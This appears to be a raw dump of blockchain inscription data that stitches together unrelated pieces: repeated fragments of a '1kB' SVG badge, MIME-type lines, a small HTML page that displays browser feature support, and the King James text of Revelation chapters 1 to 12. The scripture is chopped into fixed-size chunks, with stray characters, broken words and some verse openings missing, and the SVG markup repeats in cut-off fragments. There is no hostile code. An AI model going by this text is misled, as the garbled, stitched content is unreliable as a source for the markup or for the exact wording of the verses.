18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
text/html;charset=utf-8
		<title>System Info</title>
				font-family: sans;
				font-size: 13px;
		<script src="../content/379b18942989c8458fe92fc89e5f32d62c9f8be520779e293908df2b58bcd2dai0"></script>
			document.body.innerHTML = [
				'<strong>Browser</strong> ' + System.browser,
				'<strong>OS</strong> ' + System.os,
				'<strong>Canvas</strong> ' + System.support.canvas,
				'<strong>Local storage</strong> ' + System.support.locaM
				'<strong>File API</strong> ' + System.support.file,
				'<strong>FileSystem API</strong> ' + System.support.fileSystem,
				'<strong>RequestAnimationFrame</strong> ' + System.support.requestAnimationFrame,
				'<strong>Session storage</strong> ' + System.support.sessionStorage,
				'<strong>SVG</strong> ' + System.support.svg,
				'<strong>WebGL</strong> ' + System.support.webgl,
				'<strong>Worker</strong> ' + System.support.worker
			].join( '<br />' );
 28a7395cfba8a4fde7508eaa96f5b0b9H0E
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
text/plain;charset=utf-8
AUTHORIZED KING JAMES VERSION
1:1: The Revelation of Jesus Christ, which God gave unto him, to shew unto his servants things which must shortly come to pass; and he sent and signified it by his angel unto his servant John:
1:2: Who bare record of the word of God, and of the testimony of Jesus Christ, and of all things that he saw.
1:3: Blessed is he that readeth, and they that hear the words of this prophecy, and keep those things which are written therein: for M
the time is at hand.
1:4: John to the seven churches which are in Asia: Grace be unto you, and peace, from him which is, and which was, and which is to come; and from the seven Spirits which are before his throne;
1:5: And from Jesus Christ, who is the faithful witness, and the first begotten of the dead, and the prince of the kings of the earth. Unto him that loved us, and washed us from our sins in his own blood,
1:6: And hath made us kings and priests unto God and his Father; to him be glory and dominion for eveM
1:7: Behold, he cometh with clouds; and every eye shall see him, and they also which pierced him: and all kindreds of the earth shall wail because of him. Even so, Amen.
1:8: I am Alpha and Omega, the beginning and the ending, saith the Lord, which is, and which was, and which is to come, the Almighty.
1:9: I John, who also am your brother, and companion in tribulation, and in the kingdom and patience of Jesus Christ, was in the isle that is called Patmos, for the word of God, and for the testimonM
1:10: I was in the Spirit on the Lord's day, and heard behind me a great voice, as of a trumpet,
1:11: Saying, I am Alpha and Omega, the first and the last: and, What thou seest, write in a book, and send it unto the seven churches which are in Asia; unto Ephesus, and unto Smyrna, and unto Pergamos, and unto Thyatira, and unto Sardis, and unto Philadelphia, and unto Laodicea.
1:12: And I turned to see the voice that spake with me. And being turned, I saw seven golden candlesticks;
e midst of the seven candlesticks one like unto the Son of man, clothed with a garment down to the foot, and girt about the paps with a golden girdle.
1:14: His head and his hairs were white like wool, as white as snow; and his eyes were as a flame of fire;
1:15: And his feet like unto fine brass, as if they burned in a furnace; and his voice as the sound of many waters.
1:16: And he had in his right hand seven stars: and out of his mouth went a sharp twoedged sword: and his countenance was as the sun shineth in hiM
1:17: And when I saw him, I fell at his feet as dead. And he laid his right hand upon me, saying unto me, Fear not; I am the first and the last:
1:18: I am he that liveth, and was dead; and, behold, I am alive for evermore, Amen; and have the keys of hell and of death.
1:19: Write the things which thou hast seen, and the things which are, and the things which shall be hereafter;
1:20: The mystery of the seven stars which thou sawest in my right hand, and the seven golden candlesticks. The seven stars arM
e the angels of the seven churches: and the seven candlesticks which thou sawest are the seven churches.
2:1: Unto the angel of the church of Ephesus write; These things saith he that holdeth the seven stars in his right hand, who walketh in the midst of the seven golden candlesticks;
2:2: I know thy works, and thy labour, and thy patience, and how thou canst not bear them which are evil: and thou hast tried them which say they are apostles, and are not, and hast found them liars:
2:3: And hast borne, anM
d hast patience, and for my name's sake hast laboured, and hast not fainted.
2:4: Nevertheless I have somewhat against thee, because thou hast left thy first love.
2:5: Remember therefore from whence thou art fallen, and repent, and do the first works; or else I will come unto thee quickly, and will remove thy candlestick out of his place, except thou repent.
2:6: But this thou hast, that thou hatest the deeds of the Nicolaitans, which I also hate.
2:7: He that hath an ear, let him hear what the Spirit saith unto tM
he churches; To him that overcometh will I give to eat of the tree of life, which is in the midst of the paradise of God.
2:8: And unto the angel of the church in Smyrna write; These things saith the first and the last, which was dead, and is alive;
2:9: I know thy works, and tribulation, and poverty, (but thou art rich) and I know the blasphemy of them which say they are Jews, and are not, but are the synagogue of Satan.
2:10: Fear none of those things which thou shalt suffer: behold, the devil shall cast some of M
you into prison, that ye may be tried; and ye shall have tribulation ten days: be thou faithful unto death, and I will give thee a crown of life.
2:11: He that hath an ear, let him hear what the Spirit saith unto the churches; He that overcometh shall not be hurt of the second death.
2:12: And to the angel of the church in Pergamos write; These things saith he which hath the sharp sword with two edges;
2:13: I know thy works, and where thou dwellest, even where Satan's seat is: and thou holdest fast my name, and haM
st not denied my faith, even in those days wherein Antipas was my faithful martyr, who was slain among you, where Satan dwelleth.
2:14: But I have a few things against thee, because thou hast there them that hold the doctrine of Balaam, who taught Balac to cast a stumblingblock before the children of Israel, to eat things sacrificed unto idols, and to commit fornication.
2:15: So hast thou also them that hold the doctrine of the Nicolaitans, which thing I hate.
2:16: Repent; or else I will come unto thee quickly, aM
nd will fight against them with the sword of my mouth.
2:17: He that hath an ear, let him hear what the Spirit saith unto the churches; To him that overcometh will I give to eat of the hidden manna, and will give him a white stone, and in the stone a new name written, which no man knoweth saving he that receiveth it.
2:18: And unto the angel of the church in Thyatira write; These things saith the Son of God, who hath his eyes like unto a flame of fire, and his feet are like fine brass;
2:19: I know thy works, and cM
harity, and service, and faith, and thy patience, and thy works; and the last to be more than the first.
2:20: Notwithstanding I have a few things against thee, because thou sufferest that woman Jezebel, which calleth herself a prophetess, to teach and to seduce my servants to commit fornication, and to eat things sacrificed unto idols.
2:21: And I gave her space to repent of her fornication; and she repented not.
2:22: Behold, I will cast her into a bed, and them that commit adultery with her into great tribulatioM
n, except they repent of their deeds.
2:23: And I will kill her children with death; and all the churches shall know that I am he which searcheth the reins and hearts: and I will give unto every one of you according to your works.
2:24: But unto you I say, and unto the rest in Thyatira, as many as have not this doctrine, and which have not known the depths of Satan, as they speak; I will put upon you none other burden.
2:25: But that which ye have already hold fast till I come.
2:26: And he that overcometh, and keeM
peth my works unto the end, to him will I give power over the nations:
2:27: And he shall rule them with a rod of iron; as the vessels of a potter shall they be broken to shivers: even as I received of my Father.
2:28: And I will give him the morning star.
2:29: He that hath an ear, let him hear what the Spirit saith unto the churches.
3:1: And unto the angel of the church in Sardis write; These things saith he that hath the seven Spirits of God, and the seven stars; I know thy works, that thou hast a naM
me that thou livest, and art dead.
3:2: Be watchful, and strengthen the things which remain, that are ready to die: for I have not found thy works perfect before God.
3:3: Remember therefore how thou hast received and heard, and hold fast, and repent. If therefore thou shalt not watch, I will come on thee as a thief, and thou shalt not know what hour I will come upon thee.
3:4: Thou hast a few names even in Sardis which have not defiled their garments; and they shall walk with me in white: for they are worthy.
 He that overcometh, the same shall be clothed in white raiment; and I will not blot out his name out of the book of life, but I will confess his name before my Father, and before his angels.
3:6: He that hath an ear, let him hear what the Spirit saith unto the churches.
3:7: And to the angel of the church in Philadelphia write; These things saith he that is holy, he that is true, he that hath the key of David, he that openeth, and no man shutteth; and shutteth, and no man openeth;
3:8: I know thy works: behold, I M
have set before thee an open door, and no man can shut it: for thou hast a little strength, and hast kept my word, and hast not denied my name.
3:9: Behold, I will make them of the synagogue of Satan, which say they are Jews, and are not, but do lie; behold, I will make them to come and worship before thy feet, and to know that I have loved thee.
3:10: Because thou hast kept the word of my patience, I also will keep thee from the hour of temptation, which shall come upon all the world, to try them that dwell upon tM
3:11: Behold, I come quickly: hold that fast which thou hast, that no man take thy crown.
3:12: Him that overcometh will I make a pillar in the temple of my God, and he shall go no more out: and I will write upon him the name of my God, and the name of the city of my God, which is new Jerusalem, which cometh down out of heaven from my God: and I will write upon him my new name.
3:13: He that hath an ear, let him hear what the Spirit saith unto the churches.
3:14: And unto the angel of the church of the LaM
odiceans write; These things saith the Amen, the faithful and true witness, the beginning of the creation of God;
3:15: I know thy works, that thou art neither cold nor hot: I would thou wert cold or hot.
3:16: So then because thou art lukewarm, and neither cold nor hot, I will spue thee out of my mouth.
3:17: Because thou sayest, I am rich, and increased with goods, and have need of nothing; and knowest not that thou art wretched, and miserable, and poor, and blind, and naked:
3:18: I counsel thee to buy of me golM
d tried in the fire, that thou mayest be rich; and white raiment, that thou mayest be clothed, and that the shame of thy nakedness do not appear; and anoint thine eyes with eyesalve, that thou mayest see.
3:19: As many as I love, I rebuke and chasten: be zealous therefore, and repent.
3:20: Behold, I stand at the door, and knock: if any man hear my voice, and open the door, I will come in to him, and will sup with him, and he with me.
3:21: To him that overcometh will I grant to sit with me in my throne, even as I M
also overcame, and am set down with my Father in his throne.
3:22: He that hath an ear, let him hear what the Spirit saith unto the churches.
4:1: After this I looked, and, behold, a door was opened in heaven: and the first voice which I heard was as it were of a trumpet talking with me; which said, Come up hither, and I will shew thee things which must be hereafter.
4:2: And immediately I was in the spirit: and, behold, a throne was set in heaven, and one sat on the throne.
4:3: And he that sat was to lM
ook upon like a jasper and a sardine stone: and there was a rainbow round about the throne, in sight like unto an emerald.
4:4: And round about the throne were four and twenty seats: and upon the seats I saw four and twenty elders sitting, clothed in white raiment; and they had on their heads crowns of gold.
4:5: And out of the throne proceeded lightnings and thunderings and voices: and there were seven lamps of fire burning before the throne, which are the seven Spirits of God.
4:6: And before the throne there wasM
 a sea of glass like unto crystal: and in the midst of the throne, and round about the throne, were four beasts full of eyes before and behind.
4:7: And the first beast was like a lion, and the second beast like a calf, and the third beast had a face as a man, and the fourth beast was like a flying eagle.
4:8: And the four beasts had each of them six wings about him; and they were full of eyes within: and they rest not day and night, saying, Holy, holy, holy, Lord God Almighty, which was, and is, and is to come.
9: And when those beasts give glory and honour and thanks to him that sat on the throne, who liveth for ever and ever,
4:10: The four and twenty elders fall down before him that sat on the throne, and worship him that liveth for ever and ever, and cast their crowns before the throne, saying,
4:11: Thou art worthy, O Lord, to receive glory and honour and power: for thou hast created all things, and for thy pleasure they are and were created.
5:1: And I saw in the right hand of him that sat on the throne aM
 book written within and on the backside, sealed with seven seals.
5:2: And I saw a strong angel proclaiming with a loud voice, Who is worthy to open the book, and to loose the seals thereof?
5:3: And no man in heaven, nor in earth, neither under the earth, was able to open the book, neither to look thereon.
5:4: And I wept much, because no man was found worthy to open and to read the book, neither to look thereon.
5:5: And one of the elders saith unto me, Weep not: behold, the Lion of the tribe of Juda, the Root oM
f David, hath prevailed to open the book, and to loose the seven seals thereof.
5:6: And I beheld, and, lo, in the midst of the throne and of the four beasts, and in the midst of the elders, stood a Lamb as it had been slain, having seven horns and seven eyes, which are the seven Spirits of God sent forth into all the earth.
5:7: And he came and took the book out of the right hand of him that sat upon the throne.
5:8: And when he had taken the book, the four beasts and four and twenty elders fell down before the LaM
mb, having every one of them harps, and golden vials full of odours, which are the prayers of saints.
5:9: And they sung a new song, saying, Thou art worthy to take the book, and to open the seals thereof: for thou wast slain, and hast redeemed us to God by thy blood out of every kindred, and tongue, and people, and nation;
5:10: And hast made us unto our God kings and priests: and we shall reign on the earth.
5:11: And I beheld, and I heard the voice of many angels round about the throne and the beasts and the eldM
ers: and the number of them was ten thousand times ten thousand, and thousands of thousands;
5:12: Saying with a loud voice, Worthy is the Lamb that was slain to receive power, and riches, and wisdom, and strength, and honour, and glory, and blessing.
5:13: And every creature which is in heaven, and on the earth, and under the earth, and such as are in the sea, and all that are in them, heard I saying, Blessing, and honour, and glory, and power, be unto him that sitteth upon the throne, and unto the Lamb for ever aM
5:14: And the four beasts said, Amen. And the four and twenty elders fell down and worshipped him that liveth for ever and ever.
6:1: And I saw when the Lamb opened one of the seals, and I heard, as it were the noise of thunder, one of the four beasts saying, Come and see.
6:2: And I saw, and behold a white horse: and he that sat on him had a bow; and a crown was given unto him: and he went forth conquering, and to conquer.
6:3: And when he had opened the second seal, I heard the second beast saM
6:4: And there went out another horse that was red: and power was given to him that sat thereon to take peace from the earth, and that they should kill one another: and there was given unto him a great sword.
6:5: And when he had opened the third seal, I heard the third beast say, Come and see. And I beheld, and lo a black horse; and he that sat on him had a pair of balances in his hand.
6:6: And I heard a voice in the midst of the four beasts say, A measure of wheat for a penny, and three measuresM
 of barley for a penny; and see thou hurt not the oil and the wine.
6:7: And when he had opened the fourth seal, I heard the voice of the fourth beast say, Come and see.
6:8: And I looked, and behold a pale horse: and his name that sat on him was Death, and Hell followed with him. And power was given unto them over the fourth part of the earth, to kill with sword, and with hunger, and with death, and with the beasts of the earth.
6:9: And when he had opened the fifth seal, I saw under the altar the souls of them thM
at were slain for the word of God, and for the testimony which they held:
6:10: And they cried with a loud voice, saying, How long, O Lord, holy and true, dost thou not judge and avenge our blood on them that dwell on the earth?
6:11: And white robes were given unto every one of them; and it was said unto them, that they should rest yet for a little season, until their fellowservants also and their brethren, that should be killed as they were, should be fulfilled.
6:12: And I beheld when he had opened the sixth seaM
l, and, lo, there was a great earthquake; and the sun became black as sackcloth of hair, and the moon became as blood;
6:13: And the stars of heaven fell unto the earth, even as a fig tree casteth her untimely figs, when she is shaken of a mighty wind.
6:14: And the heaven departed as a scroll when it is rolled together; and every mountain and island were moved out of their places.
6:15: And the kings of the earth, and the great men, and the rich men, and the chief captains, and the mighty men, and every bondman, aM
nd every free man, hid themselves in the dens and in the rocks of the mountains;
6:16: And said to the mountains and rocks, Fall on us, and hide us from the face of him that sitteth on the throne, and from the wrath of the Lamb:
6:17: For the great day of his wrath is come; and who shall be able to stand?
7:1: And after these things I saw four angels standing on the four corners of the earth, holding the four winds of the earth, that the wind should not blow on the earth, nor on the sea, nor on any tree.M
7:2: And I saw another angel ascending from the east, having the seal of the living God: and he cried with a loud voice to the four angels, to whom it was given to hurt the earth and the sea,
7:3: Saying, Hurt not the earth, neither the sea, nor the trees, till we have sealed the servants of our God in their foreheads.
7:4: And I heard the number of them which were sealed: and there were sealed an hundred and forty and four thousand of all the tribes of the children of Israel.
7:5: Of the tribe of Juda were sealedM
 twelve thousand. Of the tribe of Reuben were sealed twelve thousand. Of the tribe of Gad were sealed twelve thousand.
7:6: Of the tribe of Aser were sealed twelve thousand. Of the tribe of Nepthalim were sealed twelve thousand. Of the tribe of Manasses were sealed twelve thousand.
7:7: Of the tribe of Simeon were sealed twelve thousand. Of the tribe of Levi were sealed twelve thousand. Of the tribe of Issachar were sealed twelve thousand.
7:8: Of the tribe of Zabulon were sealed twelve thousand. Of the tribe of JoM
seph were sealed twelve thousand. Of the tribe of Benjamin were sealed twelve thousand.
7:9: After this I beheld, and, lo, a great multitude, which no man could number, of all nations, and kindreds, and people, and tongues, stood before the throne, and before the Lamb, clothed with white robes, and palms in their hands;
7:10: And cried with a loud voice, saying, Salvation to our God which sitteth upon the throne, and unto the Lamb.
7:11: And all the angels stood round about the throne, and about the elders and the M
four beasts, and fell before the throne on their faces, and worshipped God,
7:12: Saying, Amen: Blessing, and glory, and wisdom, and thanksgiving, and honour, and power, and might, be unto our God for ever and ever. Amen.
7:13: And one of the elders answered, saying unto me, What are these which are arrayed in white robes? and whence came they?
7:14: And I said unto him, Sir, thou knowest. And he said to me, These are they which came out of great tribulation, and have washed their robes, and made them white in the M
7:15: Therefore are they before the throne of God, and serve him day and night in his temple: and he that sitteth on the throne shall dwell among them.
7:16: They shall hunger no more, neither thirst any more; neither shall the sun light on them, nor any heat.
7:17: For the Lamb which is in the midst of the throne shall feed them, and shall lead them unto living fountains of waters: and God shall wipe away all tears from their eyes.
8:1: And when he had opened the seventh seal, there wM
as silence in heaven about the space of half an hour.
8:2: And I saw the seven angels which stood before God; and to them were given seven trumpets.
8:3: And another angel came and stood at the altar, having a golden censer; and there was given unto him much incense, that he should offer it with the prayers of all saints upon the golden altar which was before the throne.
8:4: And the smoke of the incense, which came with the prayers of the saints, ascended up before God out of the angel's hand.
8:5: And the angel tM
ook the censer, and filled it with fire of the altar, and cast it into the earth: and there were voices, and thunderings, and lightnings, and an earthquake.
8:6: And the seven angels which had the seven trumpets prepared themselves to sound.
8:7: The first angel sounded, and there followed hail and fire mingled with blood, and they were cast upon the earth: and the third part of trees was burnt up, and all green grass was burnt up.
8:8: And the second angel sounded, and as it were a great mountain burning with fireM
 was cast into the sea: and the third part of the sea became blood;
8:9: And the third part of the creatures which were in the sea, and had life, died; and the third part of the ships were destroyed.
8:10: And the third angel sounded, and there fell a great star from heaven, burning as it were a lamp, and it fell upon the third part of the rivers, and upon the fountains of waters;
8:11: And the name of the star is called Wormwood: and the third part of the waters became wormwood; and many men died of the waters, beM
cause they were made bitter.
8:12: And the fourth angel sounded, and the third part of the sun was smitten, and the third part of the moon, and the third part of the stars; so as the third part of them was darkened, and the day shone not for a third part of it, and the night likewise.
8:13: And I beheld, and heard an angel flying through the midst of heaven, saying with a loud voice, Woe, woe, woe, to the inhabiters of the earth by reason of the other voices of the trumpet of the three angels, which are yet to sounM
9:1: And the fifth angel sounded, and I saw a star fall from heaven unto the earth: and to him was given the key of the bottomless pit.
9:2: And he opened the bottomless pit; and there arose a smoke out of the pit, as the smoke of a great furnace; and the sun and the air were darkened by reason of the smoke of the pit.
9:3: And there came out of the smoke locusts upon the earth: and unto them was given power, as the scorpions of the earth have power.
9:4: And it was commanded them that they should notM
 hurt the grass of the earth, neither any green thing, neither any tree; but only those men which have not the seal of God in their foreheads.
9:5: And to them it was given that they should not kill them, but that they should be tormented five months: and their torment was as the torment of a scorpion, when he striketh a man.
9:6: And in those days shall men seek death, and shall not find it; and shall desire to die, and death shall flee from them.
9:7: And the shapes of the locusts were like unto horses prepared uM
nto battle; and on their heads were as it were crowns like gold, and their faces were as the faces of men.
9:8: And they had hair as the hair of women, and their teeth were as the teeth of lions.
9:9: And they had breastplates, as it were breastplates of iron; and the sound of their wings was as the sound of chariots of many horses running to battle.
9:10: And they had tails like unto scorpions, and there were stings in their tails: and their power was to hurt men five months.
9:11: And they had a king over them, wM
hich is the angel of the bottomless pit, whose name in the Hebrew tongue is Abaddon, but in the Greek tongue hath his name Apollyon.
9:12: One woe is past; and, behold, there come two woes more hereafter.
9:13: And the sixth angel sounded, and I heard a voice from the four horns of the golden altar which is before God,
9:14: Saying to the sixth angel which had the trumpet, Loose the four angels which are bound in the great river Euphrates.
9:15: And the four angels were loosed, which were prepared for an hour, and M
a day, and a month, and a year, for to slay the third part of men.
9:16: And the number of the army of the horsemen were two hundred thousand thousand: and I heard the number of them.
9:17: And thus I saw the horses in the vision, and them that sat on them, having breastplates of fire, and of jacinth, and brimstone: and the heads of the horses were as the heads of lions; and out of their mouths issued fire and smoke and brimstone.
9:18: By these three was the third part of men killed, by the fire, and by the smoke,M
 and by the brimstone, which issued out of their mouths.
9:19: For their power is in their mouth, and in their tails: for their tails were like unto serpents, and had heads, and with them they do hurt.
9:20: And the rest of the men which were not killed by these plagues yet repented not of the works of their hands, that they should not worship devils, and idols of gold, and silver, and brass, and stone, and of wood: which neither can see, nor hear, nor walk:
9:21: Neither repented they of their murders, nor of theiM
r sorceries, nor of their fornication, nor of their thefts.
10:1: And I saw another mighty angel come down from heaven, clothed with a cloud: and a rainbow was upon his head, and his face was as it were the sun, and his feet as pillars of fire:
10:2: And he had in his hand a little book open: and he set his right foot upon the sea, and his left foot on the earth,
10:3: And cried with a loud voice, as when a lion roareth: and when he had cried, seven thunders uttered their voices.
10:4: And when the seveM
n thunders had uttered their voices, I was about to write: and I heard a voice from heaven saying unto me, Seal up those things which the seven thunders uttered, and write them not.
10:5: And the angel which I saw stand upon the sea and upon the earth lifted up his hand to heaven,
10:6: And sware by him that liveth for ever and ever, who created heaven, and the things that therein are, and the earth, and the things that therein are, and the sea, and the things which are therein, that there should be time no longer:M
10:7: But in the days of the voice of the seventh angel, when he shall begin to sound, the mystery of God should be finished, as he hath declared to his servants the prophets.
10:8: And the voice which I heard from heaven spake unto me again, and said, Go and take the little book which is open in the hand of the angel which standeth upon the sea and upon the earth.
10:9: And I went unto the angel, and said unto him, Give me the little book. And he said unto me, Take it, and eat it up; and it shall make thy belly bM
itter, but it shall be in thy mouth sweet as honey.
10:10: And I took the little book out of the angel's hand, and ate it up; and it was in my mouth sweet as honey: and as soon as I had eaten it, my belly was bitter.
10:11: And he said unto me, Thou must prophesy again before many peoples, and nations, and tongues, and kings.
11:1: And there was given me a reed like unto a rod: and the angel stood, saying, Rise, and measure the temple of God, and the altar, and them that worship therein.
ourt which is without the temple leave out, and measure it not; for it is given unto the Gentiles: and the holy city shall they tread under foot forty and two months.
11:3: And I will give power unto my two witnesses, and they shall prophesy a thousand two hundred and threescore days, clothed in sackcloth.
11:4: These are the two olive trees, and the two candlesticks standing before the God of the earth.
11:5: And if any man will hurt them, fire proceedeth out of their mouth, and devoureth their enemies: and if anyM
 man will hurt them, he must in this manner be killed.
11:6: These have power to shut heaven, that it rain not in the days of their prophecy: and have power over waters to turn them to blood, and to smite the earth with all plagues, as often as they will.
11:7: And when they shall have finished their testimony, the beast that ascendeth out of the bottomless pit shall make war against them, and shall overcome them, and kill them.
11:8: And their dead bodies shall lie in the street of the great city, which spirituallM
y is called Sodom and Egypt, where also our Lord was crucified.
11:9: And they of the people and kindreds and tongues and nations shall see their dead bodies three days and an half, and shall not suffer their dead bodies to be put in graves.
11:10: And they that dwell upon the earth shall rejoice over them, and make merry, and shall send gifts one to another; because these two prophets tormented them that dwelt on the earth.
11:11: And after three days and an half the Spirit of life from God entered into them, and M
they stood upon their feet; and great fear fell upon them which saw them.
11:12: And they heard a great voice from heaven saying unto them, Come up hither. And they ascended up to heaven in a cloud; and their enemies beheld them.
11:13: And the same hour was there a great earthquake, and the tenth part of the city fell, and in the earthquake were slain of men seven thousand: and the remnant were affrighted, and gave glory to the God of heaven.
11:14: The second woe is past; and, behold, the third woe cometh quicklyM
11:15: And the seventh angel sounded; and there were great voices in heaven, saying, The kingdoms of this world are become the kingdoms of our Lord, and of his Christ; and he shall reign for ever and ever.
11:16: And the four and twenty elders, which sat before God on their seats, fell upon their faces, and worshipped God,
11:17: Saying, We give thee thanks, O Lord God Almighty, which art, and wast, and art to come; because thou hast taken to thee thy great power, and hast reigned.
11:18: And the nations were angM
ry, and thy wrath is come, and the time of the dead, that they should be judged, and that thou shouldest give reward unto thy servants the prophets, and to the saints, and them that fear thy name, small and great; and shouldest destroy them which destroy the earth.
11:19: And the temple of God was opened in heaven, and there was seen in his temple the ark of his testament: and there were lightnings, and voices, and thunderings, and an earthquake, and great hail.
12:1: And there appeared a great wonder iM
n heaven; a woman clothed with the sun, and the moon under her feet, and upon her head a crown of twelve stars:
12:2: And she being with child cried, travailing in birth, and pained to be delivered.
12:3: And there appeared another wonder in heaven; and behold a great red dragon, having seven heads and ten horns, and seven crowns upon his heads.
12:4: And his tail drew the third part of the stars of heaven, and did cast them to the earth: and the dragon stood before the woman which was ready to be delivered, for toM
 devour her child as soon as it was born.
12:5: And she brought forth a man child, who was to rule all nations with a rod of iron: and her child was caught up unto God, and to his throne.
12:6: And the woman fled into the wilderness, where she hath a place prepared of God, that they should feed her there a thousand two hundred and threescore days.
12:7: And there was war in heaven: Michael and his angels fought against the dragon; and the dragon fought and his angels,
12:8: And prevailed not; neither was their placM
e found any more in heaven.
12:9: And the great dragon was cast out, that old serpent, called the Devil, and Satan, which deceiveth the whole world: he was cast out into the earth, and his angels were cast out with him.
12:10: And I heard a loud voice saying in heaven, Now is come salvation, and strength, and the kingdom of our God, and the power of his Christ: for the accuser of our brethren is cast down, which accused them before our God day and night.
12:11: And they overcame him by the blood of the Lamb, and byM
 the word of their testimony; and they loved not their lives unto the death.
